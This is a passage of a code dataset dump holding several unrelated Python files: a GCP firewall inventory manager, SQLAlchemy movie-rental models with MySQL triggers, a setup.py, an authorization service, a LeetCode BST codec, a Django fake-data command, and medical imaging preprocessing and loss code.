'Off'\n }\n\n firewall.update({\n 'project': secret_data['project_id'],\n 'applicable_instance': self.get_matched_instace(firewall,\n secret_data['project_id'],\n compute_engine_vms),\n 'display': display\n })\n\n # No Labels on API\n\n firewall_data = Firewall(firewall, strict=False)\n firewall_resource = FirewallResource({\n 'region_code': region,\n 'data': firewall_data,\n 'reference': ReferenceModel(firewall_data.reference())\n })\n\n self.set_region_code(region)\n collected_cloud_services.append(FirewallResponse({'resource': firewall_resource}))\n\n print(f'** Firewall Finished {time.time() - start_time} Seconds **')\n return collected_cloud_services\n\n\n @staticmethod\n def _get_zone_from_target(key, source):\n a = source.get(key, '')\n return a[a.find('zones') + 6:a.find('/instances')]\n\n\n def get_matched_instace(self, firewall, project_id, instances_over_region):\n all_ip_juso_vos = []\n firewall_network = firewall.get('network')\n for instance in instances_over_region:\n network_interfaces = instance.get('networkInterfaces', [])\n zone = self._get_matched_last_target('zone', instance)\n region = zone[:-2]\n for network_interface in network_interfaces:\n if firewall_network == network_interface.get('network'):\n instance_name = instance.get('name')\n instance = {\n 'id': instance.get('id'),\n 'name': instance_name,\n 'zone': zone,\n 'region': region,\n 'address': network_interface.get('networkIP'),\n 'subnetwork': self._get_matched_last_target('subnetwork', network_interface),\n 'tags': instance.get('tags', {}).get('items', []),\n 'project': project_id,\n 'service_accounts': self._get_service_accounts(instance.get('serviceAccounts', [])),\n 'creation_timestamp': instance.get('creationTimestamp'),\n 'labels': self.convert_labels_format(instance.get('labels', {})),\n 'labels_display': self._get_label_display(instance.get('labels', {})),\n }\n all_ip_juso_vos.append(ComputeVM(instance, strict=False))\n return all_ip_juso_vos\n\n\n @staticmethod\n def _get_label_display(labels):\n displays = []\n for label in labels:\n value = labels.get(label, '')\n displays.append(f'{label}: {value}')\n return displays\n\n @staticmethod\n def _get_matched_last_target(key, source):\n a = source.get(key, '')\n return a[a.rfind('/') + 1:]\n\n @staticmethod\n def _valid_ip_address(ip):\n try:\n return \"IPv4\" if type(ip_address(ip)) is IPv4Address else \"IPv6\"\n except ValueError:\n return \"Invalid\"\n\n @staticmethod\n def _get_service_accounts(service_accounts):\n service_accounts_list = []\n for service_account in service_accounts:\n service_accounts_list.append(service_account.get('email'))\n\n if not service_accounts_list:\n service_accounts_list.append('None')\n return service_accounts_list\n\n @staticmethod\n def _get_parse_users(users):\n parsed_used_by = []\n for user in users:\n zone = user[user.find('zones') + 6:user.find('/instances')]\n instance = user[user.rfind('/') + 1:]\n used = f'VM instance {instance} (Zone: {zone})'\n parsed_used_by.append(used)\n\n return parsed_used_by\n","sub_path":"src/spaceone/inventory/manager/firewall_manager.py","file_name":"firewall_manager.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583452118","text":"import sqlalchemy as sa\nfrom sqlalchemy.dialects.mysql import DOUBLE\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, backref\n\nengine = sa.create_engine(\n 'mysql://kino:kino@172.17.0.2/movie_rental', echo=True)\nBase = declarative_base()\n\n\nclass Country(Base):\n __tablename__ = 'country'\n\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.String(50), nullable=False)\n\n\nclass Location(Base):\n __tablename__ = 'location'\n\n id = sa.Column(sa.Integer, primary_key=True)\n country_id = sa.Column(sa.Integer, sa.ForeignKey('country.id'),\n nullable=False)\n country = relationship('Country', backref='locations')\n\n state = sa.Column(sa.String(100))\n city = sa.Column(sa.String(100))\n street = sa.Column(sa.String(100))\n number = sa.Column(sa.String(100))\n\n\noffice_department = sa.Table(\n 'office_department',\n Base.metadata,\n sa.Column('office_id', sa.Integer, sa.ForeignKey('office.id')),\n sa.Column('department_id', sa.Integer, sa.ForeignKey('department.id'))\n)\n\n\nclass Office(Base):\n __tablename__ = 'office'\n\n id = sa.Column(sa.Integer, primary_key=True)\n location_id = sa.Column(sa.Integer, sa.ForeignKey('location.id'),\n nullable=False)\n location = relationship('Location', backref='offices')\n\n office_head_id = sa.Column(sa.Integer, sa.ForeignKey('employee.id',\n use_alter=True))\n office_head = relationship('Employee', backref='subordinate_offices')\n\n name = sa.Column(sa.String(50), nullable=False, unique=True)\n departments = relationship(\n 'Department',\n secondary=office_department,\n back_populates='offices'\n )\n\n\nclass Department(Base):\n __tablename__ = 'department'\n\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.String(50), nullable=True, unique=True)\n offices = relationship(\n 'Office',\n secondary=office_department,\n back_populates='departments'\n )\n\n\nclass Person(Base):\n __tablename__ = 'person'\n\n id = sa.Column(sa.Integer, primary_key=True)\n location_id = sa.Column(sa.Integer, sa.ForeignKey('location.id'))\n location = relationship('Location', backref='persons')\n\n first_name = sa.Column(sa.String(50), nullable=False)\n last_name = sa.Column(sa.String(50), nullable=False)\n birth_date = sa.Column(sa.Date, nullable=False)\n death_date = sa.Column(sa.Date)\n\n\nclass Employee(Base):\n __tablename__ = 'employee'\n\n id = sa.Column(sa.Integer, primary_key=True)\n person_id = sa.Column(sa.Integer, sa.ForeignKey('person.id'),\n nullable=False, unique=True)\n person = relationship('Person', backref=backref('employee', uselist=False))\n\n office_id = sa.Column(sa.Integer, sa.ForeignKey('office.id'),\n nullable=False)\n office = relationship('Office', backref='employees')\n\n dept_id = sa.Column(sa.Integer, sa.ForeignKey('department.id'),\n nullable=False)\n department = relationship('Department', backref='employees')\n\n title = sa.Column(sa.String(100), nullable=False)\n salary = sa.Column(DOUBLE(precision=8, scale=2), nullable=False)\n active = sa.Column(sa.Boolean, nullable=False, server_default=sa.text('1'))\n employment_date = sa.Column(sa.Date, nullable=False)\n dismiss_date = sa.Column(sa.Date)\n\n\nfilm_genre = sa.Table(\n 'film_genre',\n Base.metadata,\n sa.Column('film_id', sa.Integer, sa.ForeignKey('film.id')),\n sa.Column('genre_id', sa.Integer, sa.ForeignKey('genre.id'))\n)\n\n\nclass Genre(Base):\n __tablename__ = 'genre'\n\n id = sa.Column(sa.Integer, primary_key=True)\n films = relationship(\n 'Film',\n secondary=film_genre,\n back_populates='genres'\n )\n\n name = sa.Column(sa.String(50), nullable=False, unique=True)\n\n\nfilm_actor = sa.Table(\n 'film_actor',\n Base.metadata,\n sa.Column('film_id', sa.Integer, sa.ForeignKey('film.id')),\n sa.Column('actor_id', sa.Integer, sa.ForeignKey('actor.id'))\n)\n\n\nclass Actor(Base):\n __tablename__ = 'actor'\n\n id = sa.Column(sa.Integer, primary_key=True)\n person_id = sa.Column(sa.Integer, sa.ForeignKey('person.id'),\n nullable=False, unique=True)\n person = relationship('Person', backref=backref('actor', uselist=False))\n\n films = relationship(\n 'Film',\n secondary=film_actor,\n back_populates='actors'\n )\n\n biography = sa.Column(sa.String(10000))\n oscar = sa.Column(sa.Boolean, nullable=False, server_default=sa.text('0'))\n\n\nclass Film(Base):\n __tablename__ = 'film'\n\n id = sa.Column(sa.Integer, primary_key=True)\n producer_id = sa.Column(sa.Integer, sa.ForeignKey('person.id'),\n nullable=False)\n producer = relationship('Person', backref='produced_films')\n\n country_id = sa.Column(sa.Integer, sa.ForeignKey('country.id'),\n nullable=False)\n country = relationship('Country', backref='films')\n\n genres = relationship(\n 'Genre',\n secondary=film_genre,\n back_populates='films'\n )\n\n actors = relationship(\n 'Actor',\n secondary=film_actor,\n back_populates='films'\n )\n\n name = sa.Column(sa.String(50), nullable=False)\n description = sa.Column(sa.String(10000))\n duration = sa.Column(sa.Time, nullable=False)\n release_date = sa.Column(sa.Date, nullable=False)\n\n\nclass Rating(Base):\n __tablename__ = 'rating'\n\n id = sa.Column(sa.Integer, primary_key=True)\n\n film_id = sa.Column(sa.Integer, sa.ForeignKey('film.id'), nullable=False)\n film = relationship('Film', backref='ratings')\n\n client_id = sa.Column(sa.Integer, sa.ForeignKey('client.id'),\n nullable=False)\n client = relationship('Client', backref='films_ratings')\n\n rating = sa.Column(DOUBLE(precision=2, scale=1), nullable=False)\n\n\nclass Translation(Base):\n __tablename__ = 'translation'\n\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.String(50), nullable=False, unique=True)\n\n\nclass Package(Base):\n __tablename__ = 'package'\n\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.String(50), nullable=False)\n days = sa.Column(sa.Integer, nullable=False, unique=True)\n price = sa.Column(DOUBLE(precision=4, scale=2), nullable=False)\n\n\nclass Client(Base):\n __tablename__ = 'client'\n\n id = sa.Column(sa.Integer, primary_key=True)\n person_id = sa.Column(sa.Integer, sa.ForeignKey('person.id'),\n nullable=False, unique=True)\n person = relationship('Person', backref=backref('client', uselist=False))\n\n created = sa.Column(sa.TIMESTAMP, nullable=False,\n server_default=sa.func.now())\n email = sa.Column(sa.String(100))\n active = sa.Column(sa.Boolean, nullable=False, server_default=sa.text('1'))\n\n\ndeal_copy = sa.Table(\n 'deal_copy',\n Base.metadata,\n sa.Column('deal_id', sa.Integer, sa.ForeignKey('deal.id')),\n sa.Column('copy_id', sa.Integer, sa.ForeignKey('copy.id'))\n)\n\n\nclass Copy(Base):\n __tablename__ = 'copy'\n\n id = sa.Column(sa.Integer, primary_key=True)\n film_id = sa.Column(sa.Integer, sa.ForeignKey('film.id'), nullable=False)\n film = relationship('Film', backref='copies')\n\n office_id = sa.Column(sa.Integer, sa.ForeignKey('office.id'),\n nullable=False)\n office = relationship('Office', backref='copies')\n\n translation_id = sa.Column(sa.Integer, sa.ForeignKey('translation.id'),\n nullable=False)\n translation = relationship('Translation', backref='copies')\n\n deals = relationship(\n 'Deal',\n secondary=deal_copy,\n back_populates='copies'\n )\n\n price = sa.Column(DOUBLE(precision=4, scale=2), nullable=False)\n stock = sa.Column(sa.Integer, nullable=False)\n __table_args__ = (\n sa.UniqueConstraint(\n 'film_id',\n 'office_id',\n 'translation_id',\n name='unique_film_office_translation'\n ),\n )\n\n\nclass Deal(Base):\n __tablename__ = 'deal'\n\n id = sa.Column(sa.Integer, primary_key=True)\n client_id = sa.Column(sa.Integer, sa.ForeignKey('client.id'),\n nullable=False)\n client = relationship('Client', backref='deals')\n\n office_id = sa.Column(sa.Integer, sa.ForeignKey('office.id'),\n nullable=False)\n office = relationship('Office', backref='deals')\n\n employee_id = sa.Column(sa.Integer, sa.ForeignKey('employee.id'),\n nullable=False)\n employee = relationship('Employee', backref='deals')\n\n package_id = sa.Column(sa.Integer, sa.ForeignKey('package.id'),\n nullable=False, server_default=sa.text('1'))\n package = relationship('Package', backref='deals')\n\n copies = relationship(\n 'Copy',\n secondary=deal_copy,\n back_populates='deals'\n )\n\n total_earnings = sa.Column(DOUBLE(precision=8, scale=2),\n server_default=sa.text('0.0'))\n start_date = sa.Column(sa.Date, nullable=False)\n valid_until_date = sa.Column(sa.Date, nullable=False)\n end_date = sa.Column(sa.Date)\n\n\nbefore_create_deal = sa.DDL(\n \"\"\"\n CREATE TRIGGER before_create_deal BEFORE INSERT ON deal\n FOR EACH ROW BEGIN\n \n DECLARE tmp_package_days INT DEFAULT 0;\n \n SELECT days\n FROM package\n WHERE id = NEW.package_id\n INTO tmp_package_days;\n \n SET NEW.start_date = IF(NEW.start_date, NEW.start_date, CURRENT_DATE());\n SET NEW.valid_until_date = DATE_ADD(NEW.start_date, INTERVAL tmp_package_days DAY);\n END;\n \"\"\"\n)\n\nafter_create_deal_copy = sa.DDL(\n \"\"\"\n CREATE TRIGGER after_create_deal_copy AFTER INSERT ON deal_copy\n FOR EACH ROW BEGIN\n \n DECLARE tmp_price DOUBLE(4, 2) DEFAULT 0.0;\n DECLARE tmp_package_id INT UNSIGNED DEFAULT 1;\n DECLARE tmp_package_price DOUBLE(4, 2) DEFAULT 0.0;\n \n SELECT price\n FROM copy\n WHERE id = NEW.copy_id\n INTO tmp_price;\n \n SELECT package_id\n FROM deal\n WHERE id = NEW.deal_id\n INTO tmp_package_id;\n \n SELECT price\n FROM package\n WHERE id = tmp_package_id\n INTO tmp_package_price;\n \n UPDATE deal\n SET total_earnings = total_earnings + tmp_price + tmp_package_price\n WHERE id = NEW.deal_id;\n END;\n \"\"\"\n)\n\nsa.event.listen(Deal.__table__, 'after_create', before_create_deal)\nsa.event.listen(deal_copy, 'after_create', after_create_deal_copy)\n\nBase.metadata.create_all(engine)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"542045569","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2012--2014, Nico Schlömer, \n# All rights reserved.\n#\n# This file is part of PyNosh.\n#\n# PyNosh is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# PyNosh is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with PyNosh. If not, see .\n#\nimport os\nfrom distutils.core import setup\nimport codecs\n\nfrom pynosh import __version__, __author__, __author_email__\n\n\ndef read(fname):\n try:\n content = codecs.open(\n os.path.join(os.path.dirname(__file__), fname),\n encoding='utf-8'\n ).read()\n except Exception:\n content = ''\n return content\n\n\nsetup(\n name='pynosh',\n packages=['pynosh'],\n version=__version__,\n description='Nonlinear Schrödinger equations',\n long_description=read('README.rst'),\n author=__author__,\n author_email=__author_email__,\n url='https://github.com/nschloe/pynosh/',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Scientific/Engineering :: Mathematics'\n ],\n )\n","sub_path":"pypi_install_script/pynosh-0.2.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"204649622","text":"# Copyright © 2019 Province of British Columbia\n#\n# Licensed under the Apache License, Version 2.0 (the 'License');\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an 'AS IS' BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"The Authorization service.\n\nThis module is to handle authorization related queries.\n\"\"\"\nfrom typing import Dict\n\nfrom auth_api.models.views.authorization import Authorization as AuthorizationView\nfrom auth_api.schemas.authorization import AuthorizationSchema\n\n\nclass Authorization:\n \"\"\"This module is to handle authorization related queries.\n The authorization model as such doesn't exist, so this is a class where we can map all the relationship to query\n user authorizations.\n \"\"\"\n\n def __init__(self, model):\n \"\"\"Return an Authorization Service.\"\"\"\n self._model = model\n\n @staticmethod\n def get_user_authorizations_for_entity(token_info: Dict, business_identifier: str):\n \"\"\"Get User authorizations for the entity.\"\"\"\n auth_response = {}\n if token_info.get('loginSource', None) == 'PASSCODE':\n if token_info.get('username', None).upper() == business_identifier.upper():\n auth_response = {'role': 'OWNER'}\n elif 'staff' in token_info.get('realm_access', []).get('roles', []):\n auth_response = {'role': 'STAFF'}\n else:\n keycloak_guid = token_info.get('sub', None)\n auth = AuthorizationView.find_user_authorization_by_business_number(keycloak_guid, business_identifier)\n if auth:\n auth_response = Authorization(auth).as_dict(exclude=['business_identifier'])\n return auth_response\n\n @staticmethod\n def get_user_authorizations(keycloak_guid: str):\n \"\"\"Get all user authorizations.\"\"\"\n authorizations_response: Dict = {'authorizations': []}\n\n authorizations = AuthorizationView.find_all_authorizations_for_user(keycloak_guid)\n if authorizations:\n for auth in authorizations:\n authorizations_response['authorizations'].append(Authorization(auth).as_dict())\n return authorizations_response\n\n def as_dict(self, exclude: [] = None):\n \"\"\"Return the authorization as a python dictionary.\n\n None fields are not included in the dictionary.\n \"\"\"\n if not exclude:\n exclude = []\n auth_schema = AuthorizationSchema(exclude=exclude)\n return auth_schema.dump(self._model, many=False)\n","sub_path":"auth-api/src/auth_api/services/authorization.py","file_name":"authorization.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264933279","text":"#https://leetcode.com/explore/challenge/card/october-leetcoding-challenge/560/week-2-october-8th-october-14th/3489/\nfrom collections import deque\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n \n\nclass Codec:\n\n def serialize(self, root):\n \"\"\"Encodes a tree to a single string.\n \n :type root: TreeNode\n :rtype: str\n \"\"\"\n res = []\n if not root:\n return ''\n stack = deque()\n stack.append(root)\n while stack:\n node = stack.popleft()\n res.append(str(node.val))\n if node.left:\n stack.append(node.left)\n if node.right:\n stack.append(node.right)\n #print(res)\n return ','.join(res)\n \n \n \n \n def deserialize(self, data):\n \"\"\"Decodes your encoded data to tree.\n \n :type data: str\n :rtype: TreeNode\n \"\"\"\n if not data:\n return None\n arr = data.split(',')\n arr = [int(x) for x in arr]\n #print(arr)\n \n def insertToRoot(val, root):\n #print(val, root)\n if val == root.val:\n return\n elif val < root.val:\n if root.left:\n return insertToRoot(val, root.left)\n else:\n root.left = TreeNode(val)\n return\n else:\n if root.right:\n return insertToRoot(val, root.right)\n else:\n root.right = TreeNode(val)\n return\n\n def printTree(root):\n res = ''\n stack = deque()\n stack.append(root)\n while stack:\n node = stack.popleft()\n res += ' ' + str(node.val)\n if node.left:\n stack.append(node.left)\n if node.right:\n stack.append(node.right)\n #print(res)\n\n root = TreeNode(arr[0])\n for val in arr[1:]:\n #printTree(root)\n insertToRoot(val, root) \n #printTree(root)\n return root\n \n \n\n# Your Codec object will be instantiated and called as such:\n# ser = Codec()\n# deser = Codec()\n# tree = ser.serialize(root)\n# ans = deser.deserialize(tree)\n# return ans\n","sub_path":"leetcode/serialize_deserialize_bst.py","file_name":"serialize_deserialize_bst.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"75075147","text":"import random\nimport sys\nfrom datetime import date\n\nfrom django.core.management.base import BaseCommand\n\nfrom faker import Faker\n\nfrom ...models import Author, Book, Comments, Publisher, Store\n\n\nfake = Faker()\nfake_s = Faker(['en_US', 'ja_JP', 'it_IT'])\n\nrand_books = ['English Lessons * for adults',\n 'Recipes for everyone (part *)',\n 'How to create c4 at home *',\n 'Life Of No-One *',\n 'See you on the beach (part *)',\n 'Everyone needs a hug *',\n 'My mom told me to go outside *...',\n 'How to be retard *',\n 'Murder in heaven (part *)',\n 'Adventures From Kyiv To NY *', ]\n\n\nclass Command(BaseCommand):\n help = 'Creating some books'\n\n def add_arguments(self, parser):\n parser.add_argument('num', type=int)\n\n def handle(self, *args, **options):\n if 0 > options['num']:\n sys.stdout.write('Error, wrong number: number should be more than 0.\\n')\n else:\n for i in range(options['num']):\n Author.objects.create(name=fake.name(),\n age=random.randint(20, 500))\n rl = fake.name().split()[1]\n rf = fake.name().split()[0]\n Publisher.objects.create(name=rl + rf + str(random.randint(0, 1000)) + \"'s Pub. Company\")\n Comments.objects.create(comment=fake.text())\n Book.objects.create(name=rand_books[random.randint(0, 8)].replace('*', str(random.randint(1, 20))),\n pages=random.randint(30, 500),\n price=random.randint(3, 50),\n rating=random.randint(10, 100) / 10,\n publisher=Publisher.objects.last(),\n pubdate=date(random.randint(1930, 2022), random.randint(1, 12),\n random.randint(1, 28)),\n comment=Comments.objects.last()).authors.set([Author.objects.last()])\n\n Store.objects.create(name=fake_s.name().lower().replace(' ', '').title()\n ).books.set([Book.objects.last()])\n","sub_path":"cb_hw/management/commands/creating.py","file_name":"creating.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431502662","text":"import numpy as np\nimport pandas as pd\nimport pydicom\nimport cv2\nimport os\nfrom tqdm import tqdm\nimport glob\nimport pickle\nfrom sklearn.model_selection import train_test_split\n\ndef get_dicom_array(f):\n dicom_files = glob.glob(os.path.join(f, '*.dcm'))\n dicoms = [pydicom.dcmread(d) for d in dicom_files]\n z_pos = [float(d.ImagePositionPatient[-1]) for d in dicoms]\n sorted_idx = np.argsort(z_pos)\n exposure = [float(d.Exposure) for d in dicoms]\n thickness = [float(d.SliceThickness) for d in dicoms]\n return np.asarray(dicom_files)[sorted_idx], np.asarray(z_pos)[sorted_idx], np.asarray(exposure)[sorted_idx], np.asarray(thickness)[sorted_idx]\n\ndf = pd.read_csv('../../input/train.csv')\n\nstudy_id_list = df['StudyInstanceUID'].values\nseries_id_list = df['SeriesInstanceUID'].values\nimage_id_list = df['SOPInstanceUID'].values\npe_present_on_image_list = df['pe_present_on_image'].values\nnegative_exam_for_pe_list = df['negative_exam_for_pe'].values\nqa_motion_list = df['qa_motion'].values\nqa_contrast_list = df['qa_contrast'].values\nflow_artifact_list = df['flow_artifact'].values\nrv_lv_ratio_gte_1_list = df['rv_lv_ratio_gte_1'].values\nrv_lv_ratio_lt_1_list = df['rv_lv_ratio_lt_1'].values\nleftsided_pe_list = df['leftsided_pe'].values\nchronic_pe_list = df['chronic_pe'].values\ntrue_filling_defect_not_pe_list = df['true_filling_defect_not_pe'].values\nrightsided_pe_list = df['rightsided_pe'].values\nacute_and_chronic_pe_list = df['acute_and_chronic_pe'].values\ncentral_pe_list = df['central_pe'].values\nindeterminate_list = df['indeterminate'].values\n\nseries_dict = {}\nimage_dict = {}\nseries_list = []\nfor i in tqdm(range(len(series_id_list))):\n series_id = study_id_list[i]+'_'+series_id_list[i]\n image_id = image_id_list[i]\n series_dict[series_id] = {\n 'negative_exam_for_pe': negative_exam_for_pe_list[i],\n 'qa_motion': qa_motion_list[i],\n 'qa_contrast': qa_contrast_list[i],\n 'flow_artifact': flow_artifact_list[i],\n 'rv_lv_ratio_gte_1': rv_lv_ratio_gte_1_list[i],\n 'rv_lv_ratio_lt_1': rv_lv_ratio_lt_1_list[i],\n 'leftsided_pe': leftsided_pe_list[i],\n 'chronic_pe': chronic_pe_list[i],\n 'true_filling_defect_not_pe': true_filling_defect_not_pe_list[i],\n 'rightsided_pe': rightsided_pe_list[i],\n 'acute_and_chronic_pe': acute_and_chronic_pe_list[i],\n 'central_pe': central_pe_list[i],\n 'indeterminate': indeterminate_list[i],\n 'sorted_image_list': [],\n }\n image_dict[image_id] = {\n 'pe_present_on_image': pe_present_on_image_list[i],\n 'series_id': series_id,\n 'z_pos': series_id,\n 'exposure': series_id,\n 'thickness': series_id,\n 'image_minus1': '',\n 'image_plus1': '',\n }\n series_list.append(series_id)\nseries_list = sorted(list(set(series_list)))\nprint(len(series_list), len(series_dict), len(image_dict))\nfor series_id in tqdm(series_dict, total=len(series_dict)):\n series_dir = '../../input/train/' + series_id.split('_')[0] + '/'+ series_id.split('_')[1]\n file_list, z_pos_list, exposure_list, thickness_list = get_dicom_array(series_dir)\n image_list = []\n for i in range(len(file_list)):\n name = file_list[i][-16:-4]\n image_list.append(name)\n if i==0:\n image_dict[name]['image_minus1'] = name\n image_dict[name]['image_plus1'] = file_list[i+1][-16:-4]\n elif i==len(file_list)-1:\n image_dict[name]['image_minus1'] = file_list[i-1][-16:-4]\n image_dict[name]['image_plus1'] = name\n else:\n image_dict[name]['image_minus1'] = file_list[i-1][-16:-4]\n image_dict[name]['image_plus1'] = file_list[i+1][-16:-4]\n image_dict[name]['z_pos'] = z_pos_list[i]\n image_dict[name]['exposure'] = exposure_list[i]\n image_dict[name]['thickness'] = thickness_list[i]\n series_dict[series_id]['sorted_image_list'] = image_list \nprint(series_dict[series_list[0]])\nprint(image_dict[image_list[0]])\n\n\nnp.random.seed(100)\nnp.random.shuffle(series_list)\n\nseries_list_train = series_list[1000:]\nseries_list_valid = series_list[:1000]\nprint(len(series_list_train), len(series_list_valid))\nprint(series_list_train[:3])\nprint(series_list_valid[:3])\n\nimage_list_train = []\nimage_list_valid = []\nfor series_id in series_list_train:\n image_list_train += list(series_dict[series_id]['sorted_image_list'])\nfor series_id in series_list_valid:\n image_list_valid += list(series_dict[series_id]['sorted_image_list'])\nprint(len(image_list_train), len(image_list_valid))\nprint(image_list_train[:3])\nprint(image_list_valid[:3])\n\n\nout_dir = 'split2/'\nif not os.path.exists(out_dir):\n os.makedirs(out_dir)\nwith open(out_dir+'series_dict.pickle', 'wb') as f:\n pickle.dump(series_dict, f, protocol=pickle.HIGHEST_PROTOCOL)\nwith open(out_dir+'image_dict.pickle', 'wb') as f:\n pickle.dump(image_dict, f, protocol=pickle.HIGHEST_PROTOCOL)\nwith open(out_dir+'series_list_train.pickle', 'wb') as f:\n pickle.dump(series_list_train, f, protocol=pickle.HIGHEST_PROTOCOL)\nwith open(out_dir+'series_list_valid.pickle', 'wb') as f:\n pickle.dump(series_list_valid, f, protocol=pickle.HIGHEST_PROTOCOL)\nwith open(out_dir+'image_list_train.pickle', 'wb') as f:\n pickle.dump(image_list_train, f, protocol=pickle.HIGHEST_PROTOCOL)\nwith open(out_dir+'image_list_valid.pickle', 'wb') as f:\n pickle.dump(image_list_valid, f, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\n\n","sub_path":"trainval/process_input/process_input_split2.py","file_name":"process_input_split2.py","file_ext":"py","file_size_in_byte":5955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183631143","text":"import helper\nfrom collections import defaultdict\nfrom helper import reverse_transform\nfrom torch.utils.data import DataLoader\nfrom loss import dice_loss,metric_jaccard #this is loss\nfrom dataset import WaterDataset\nimport torch.nn.functional as F\nfrom models import UNet11, UNet, AlbuNet34,SegNet\nimport numpy as np\nimport torch\nimport glob\nimport os\nimport numpy as np\nfrom pathlib import Path\nfrom scalarmeanstd import meanstd\n\nfrom transformsdata import (DualCompose,\n ImageOnly,\n Normalize,\n Normalize2, \n HorizontalFlip,\n Rotate,\n CenterCrop,\n VerticalFlip)\n\n\n\n\n\n\ndef calc_loss(pred, target, metrics,phase='train', bce_weight=0.5):\n bce = F.binary_cross_entropy_with_logits(pred, target)\n pred = torch.sigmoid(pred)\n\n # convering tensor to numpy to remove from the computationl graph \n if phase=='test':\n pred=(pred >0.50).float() #with 0.55 is a little better\n dice = dice_loss(pred, target)\n jaccard_loss = metric_jaccard(pred, target) \n loss = bce * bce_weight + dice * (1 - bce_weight)\n \n metrics['bce'] = bce.data.cpu().numpy() * target.size(0)\n metrics['loss'] = loss.data.cpu().numpy() * target.size(0)\n metrics['dice'] =1- dice.data.cpu().numpy() * target.size(0)\n metrics['jaccard'] = 1-jaccard_loss.data.cpu().numpy() * target.size(0)\n else:\n dice = dice_loss(pred, target)\n jaccard_loss = metric_jaccard(pred, target) \n loss = bce * bce_weight + dice * (1 - bce_weight)\n metrics['bce'] += bce.data.cpu().numpy() * target.size(0)\n metrics['loss'] += loss.data.cpu().numpy() * target.size(0)\n metrics['dice_loss'] += dice.data.cpu().numpy() * target.size(0)\n metrics['jaccard_loss'] += jaccard_loss.data.cpu().numpy() * target.size(0)\n\n return loss\n\n\n\ndef print_metrics(metrics, file, phase='train', epoch_samples=1 ): \n outputs = []\n for k in metrics.keys():\n outputs.append(\"{}: {:4f}\".format(k, metrics[k] / epoch_samples ))\n if phase=='test':\n file.write(\"{}\".format(\",\".join(outputs)))\n else: \n print(\"{}: {}\".format(phase, \", \".join(outputs)))\n file.write(\"{}: {}\".format(phase, \", \".join(outputs))) ### f\n\n \ndef calc_loss_paral(pred_hr, target_hr, \n pred_vhr_lab, target_vhr_lab,\n pred_vhr_unlab, target_vhr_unlab_up, \n metrics, weight_loss = 0.1, bce_weight=0.5):\n \n #loss for HR model\n bce_l1 = F.binary_cross_entropy_with_logits(pred_hr, target_hr)\n pred_hr = torch.sigmoid(pred_hr) \n \n dice_l1 = dice_loss(pred_hr, target_hr)\n loss_l1 = bce_l1 * bce_weight + dice_l1 * (1 - bce_weight)\n \n #loss for HR model label\n bce_l2 = F.binary_cross_entropy_with_logits(pred_vhr_lab, target_vhr_lab) \n pred_vhr_lab = torch.sigmoid((pred_vhr_lab))\n\n dice_l2 = dice_loss(pred_vhr_lab, target_vhr_lab)\n loss_l2 = bce_l2 * bce_weight + dice_l2 * (1 - bce_weight)\n \n #loss for VHR model unlabel \n bce_l3 = F.binary_cross_entropy_with_logits(pred_vhr_unlab, target_vhr_unlab_up)\n pred_vhr_unlab = torch.sigmoid((pred_vhr_unlab)) \n dice_l3 = dice_loss(pred_vhr_unlab, target_vhr_unlab_up)\n loss_l3 = bce_l3 * bce_weight + dice_l3 * (1 - bce_weight)\n \n #loss for full-network\n loss = (loss_l1 + loss_l2 + loss_l3 * weight_loss ) \n \n metrics['loss_HR'] += loss_l1.data.cpu().numpy() * target_hr.size(0)\n metrics['loss_VHR_lab'] += loss_l2.data.cpu().numpy() * target_vhr_lab.size(0)\n metrics['loss_VHR_unlab'] += loss_l3.data.cpu().numpy() * target_vhr_unlab_up.size(0)\n metrics['loss'] += loss.data.cpu().numpy() *(target_vhr_lab.size(0)+target_vhr_unlab_up.size(0))#* target.size(0)\n metrics['loss_dice_lb'] += dice_l2.data.cpu().numpy() * target_vhr_lab.size(0) \n metrics['loss_dice_unlab'] += dice_l3.data.cpu().numpy() * target_vhr_unlab_up.size(0) #cambiar por hr_label\n \n return loss\n\ndef calc_loss_seq(pred_vhr_lab, target_vhr_lab,\n pred_vhr_unlab, 